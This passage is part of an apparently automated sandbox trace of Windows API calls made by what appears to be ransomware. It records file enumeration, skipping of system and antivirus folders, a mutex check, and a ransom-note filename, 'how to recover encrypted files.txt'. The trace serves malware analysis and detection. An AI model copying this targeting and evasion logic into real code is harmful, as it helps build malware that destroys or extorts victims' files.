lpMultiByteStr=0x1e6a650, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18?T\x18\x81")) returned 0xffffffff [0054.515] GetLastError () returned 0x2 [0054.515] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0054.516] GetLastError () returned 0x2 [0054.516] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.516] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.516] GetLastError () returned 0x2 [0054.517] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18?T\x18\x97")) returned 0xffffffff [0054.517] GetLastError () returned 0x2 [0054.517] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.517] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.517] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.517] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.517] GlobalUnlock (hMem=0x44000c) returned 0 [0054.517] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.518] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.518] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.518] GlobalUnlock (hMem=0x44000c) returned 0 [0054.518] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.518] GlobalUnlock (hMem=0x440004) returned 0 [0054.518] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.518] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.518] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.518] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.518] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.518] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.518] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.519] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.519] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.519] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a698, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.519] GlobalLock (hMem=0x440004) returned 0x550170 [0054.519] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.519] GlobalUnlock (hMem=0x440004) returned 0 [0054.519] GlobalLock (hMem=0x440004) returned 0x550170 [0054.519] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.519] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.519] GlobalUnlock (hMem=0x440004) returned 0 [0054.519] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.519] GlobalUnlock (hMem=0x44000c) returned 0 [0054.519] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.519] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.519] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.519] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.520] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.520] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.521] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.521] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.521] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.521] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.521] GlobalUnlock (hMem=0x44000c) returned 0 [0054.521] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.521] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.521] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.521] GlobalUnlock (hMem=0x44000c) returned 0 [0054.521] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.521] GlobalUnlock (hMem=0x440004) returned 0 [0054.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0054.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.522] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.522] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.522] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.522] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.522] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.522] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.522] GlobalUnlock (hMem=0x440004) returned 0 [0054.522] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.522] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.522] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.522] GlobalUnlock (hMem=0x440004) returned 0 [0054.522] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.522] GlobalUnlock (hMem=0x44000c) returned 0 [0054.522] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.522] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0054.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.523] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0054.523] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0054.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\WATERMAR\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0054.523] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.523] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.523] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.523] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.523] GlobalUnlock (hMem=0x44000c) returned 0 [0054.523] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.523] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.523] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.523] GlobalUnlock (hMem=0x44000c) returned 0 [0054.523] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.523] GlobalUnlock (hMem=0x440004) returned 0 [0054.523] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.523] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0054.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.524] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.524] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0054.524] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, 